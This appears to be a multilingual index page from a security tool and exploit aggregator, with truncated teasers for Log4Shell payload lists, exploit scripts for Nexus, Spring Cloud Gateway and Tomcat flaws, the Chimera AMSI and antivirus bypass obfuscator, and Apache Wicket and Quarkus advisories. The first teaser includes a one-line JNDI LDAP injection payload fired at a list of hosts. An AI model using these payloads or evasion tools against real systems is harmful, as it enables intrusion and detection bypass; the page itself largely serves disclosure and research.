Log4Shell-Payloads

🚨 Log4Shell 漏洞利用载荷集合 精心整理的 Log4Shell / Log4J 漏洞利用载荷 ，针对： CVE-2021-45046 CVE-2022-42889 🔗 由 @nav1n0x 🔥 单行载荷 ✅ 单行载荷1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l L4SFuzzList root@kitploit: ✅...

MIPS-CVE-2014-9222

免責事項 本チュートリアルは、情報提供および教育目的のみで作成されています。倫理的ハッキング、情報セキュリティ、サイバーセキュリティは、デジタル情報やコンピュータを利用するすべての人にとって馴染みのある題材であるべきだと考えています。ハッキングがどのように行われるかを知らなければ、ハッカーから身を守ることは不可能だと考えています。 要件 root@kitploit: $ IDA Pro +7.0 you can use Radar2 since IDA is quite expensive $ Router running Rompager 4.07 : there're immense...

LiveTargetsFinder

LiveTargetsFinder ライブホストとターゲット用URLのリストを生成し、Massdns、Masscan、nmapの使用を自動化して到達不能なホストをフィルタリングします...

CVE-2026-76982

Improper neutralization of input during web page generation in Apache Wicket. org.apache.wicket.markup.html.form.Button clears the escape-model-strings flag in its constructor, so that the value attribute it writes is not encoded twice — ComponentTag already encodes attribute values when it write...

CVE-2026-76983

Improper neutralization of input during web page generation in Apache Wicket. The tag is provided by org.apache.wicket.markup.html.form.AutoLabelTextResolver, which is registered by default in every WebApplication. The resolver writes the label it finds into the markup as it is, and reads no...

CVE-2026-70449

Improper validation of resource URL attributes in Apache Wicket allows an unauthenticated remote attacker to read files from the web application, including files under WEB-INF that the servlet container would not otherwise serve. The locale, style and variation attributes decoded from a package...

CVE-2026-71257

Apache Wicket enforces the upload limits configured on a form or upload field while parsing a multipart request with Apache Commons FileUpload. If the request body has already been consumed by another component, Commons FileUpload returns no items and Wicket falls back to reading the upload throu...

CVE-2026-71378

ResourceIsolationRequestCycleListener protects a Wicket application against cross-site request forgery by rejecting requests that a resource isolation policy judges to come from another origin. Its default policy, FetchMetadataResourceIsolationPolicy, was derived from a reference implementation...

CVE-2025-24813

利用条件 DefaultServlet 書き込み機能の有効化：web.xml で readonly=false を設定する必要があります Partial PUT リクエストのサポート：Tomcat はデフォルトでチャンクアップロードをサポートしています ファイルセッションの永続化の有効化：context.xml で PersistentManager と FileStore を設定する必要があります デシリアライゼーションの悪用チェーンの存在：クラスパスに脆弱性のあるライブラリが含まれている必要があります 影響範囲 9.0.0.M1 readonly false 2...

HTTP3ONSTEROIDS

目次 脆弱性の説明 ソースコードレビュー ラボのセットアップ 問題の特定 参考文献 脆弱性の説明 HAProxyのHTTP/3実装は、不正なHTTPヘッダーフィールド名 をブロックできず、この不正なヘッダーを誤って処理するサーバーの前段にデプロイされた場合 、HTTPリクエスト/レスポンススマグリング攻撃に悪用される可能性があります。リモートの攻撃者は、正規ユーザーのリクエストを改ざんする可能性があります。その結果、攻撃者は機密情報を取得したり、サービス妨害（DoS）状態を引き起こしたりする可能性があります。 https://jvn.jp/en/jp/JVN38170084/...

CVE-2025-2907

CVE-2025-2907 エクスプロイト 詳細 公開日 : 2025-04-04 更新日 : 2025-03-28 深刻度 : 緊急 CVSS スコア: 9.8 CWE : CWE-862: 認証欠如 影響を受けるバージョン : n/a から 12.3.1 までの全バージョン 研究者 : https://www.wordfence.com/threat-intel/vulnerabilities/researchers/mike-gozdiskowski CVSS ベクトル CVSS バージョン : 9.8 ベクトル文字列 :...

Chimera

Chimeraは、AMSIやアンチウイルスソリューションをバイパスするために設計された（派手で非常にハックな）PowerShell難読化スクリプトです。AVをトリガーすることで知られる悪意のあるPS1を消化し、文字列置換と変数連結を使用して一般的な検出シグネチャを回避します。 Chimeraはこのwrite-upのために作成され、検出シグネチャをバイパスすることがいかに簡単であるかを示すさらなる証拠です。このリポジトリが誰かに堅牢で信頼性の高いものを作るきっかけとなることを願っています。 Chimeraの仕組み…...

CVE-2020-11444

CVE-2020-11444 Nexus 3 越権（権限昇格）脆弱性のエクスプロイトスクリプト 他のスクリプトファイルも参照：https://github.com/zhzyker/exphub Readme root@kitploit: +-----------------------------------------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + + CVE-2020-11444 Nexus ...

CVE-2026-12894 Quarkus-qute: io.quarkus.qute.reflectionvalueresolver: quarkus:server-side template injection (ssti) vulnerability in reflectionvalueresolver of the quarkus qute template engine

A flaw was found in the Qute template engine, which is used by Quarkus to generate dynamic content like HTML pages or emails. The issue exists in the component responsible for looking up data values ReflectionValueResolver, which fails to properly block access to sensitive Java internal functions...

CVE-2026-12894

The Qute template engine in Quarkus is vulnerable to server-side template injection (SSTI) via the ReflectionValueResolver component, which fails to properly block access to sensitive Java internal functions when processing certain data types like Enums. An attacker who can provide or influence t...

CVE-2026-12894 Quarkus-qute: io.quarkus.qute.reflectionvalueresolver: quarkus:server-side template injection (ssti) vulnerability in reflectionvalueresolver of the quarkus qute template engine

A flaw was found in the Qute template engine, which is used by Quarkus to generate dynamic content like HTML pages or emails. The issue exists in the component responsible for looking up data values ReflectionValueResolver, which fails to properly block access to sensitive Java internal functions...

EUVD-2026-68505

A flaw was found in the Qute template engine, which is used by Quarkus to generate dynamic content like HTML pages or emails. The issue exists in the component responsible for looking up data values ReflectionValueResolver, which fails to properly block access to sensitive Java internal functions...

cve-2022-22947-spring-cloud-gateway

脆弱性の概要 Spring Cloud Gateway は、Spring Cloud の新しいプロジェクトであり、Spring 5.0、Spring Boot 2.0、Project Reactor などの技術に基づいて開発されたゲートウェイです。マイクロサービスアーキテクチャに、シンプルで効果的な統一APIルーティング管理方法を提供することを目的としています。 先日、Spring Cloud Gateway に致命的な RCE が発見されました。CVE CVE 情報によると、アプリケーションが Spring Cloud Gateway の Gateway Actuator endpoi...

ValleyRAT Backdoor Hides in Signed Adware That Users Add to Antivirus Exclusions

The threat actor known as Silver Fox has been observed distributing the ValleyRAT backdoor disguised as a signed Chinese adware application, running the malware under a trusted process to slip past users who add such software to their antivirus exclusions. Russian cybersecurity vendor Kaspersky...

shellshock

shellshock Shelly は、Bash 環境における Shellshock（CVE-2014-6271 & CVE-2014-7169）の脆弱性を特定し軽減するために設計された、軽量で効率的な脆弱性スキャナーです。 インストール: リポジトリをクローン: git clone https://github.com/ajansha/shellshock.git ディレクトリに移動: cd shellshock ツールを実行: ./shelly.sh ライセンス: Shelly は MIT のもとで配布されています。 免責事項:...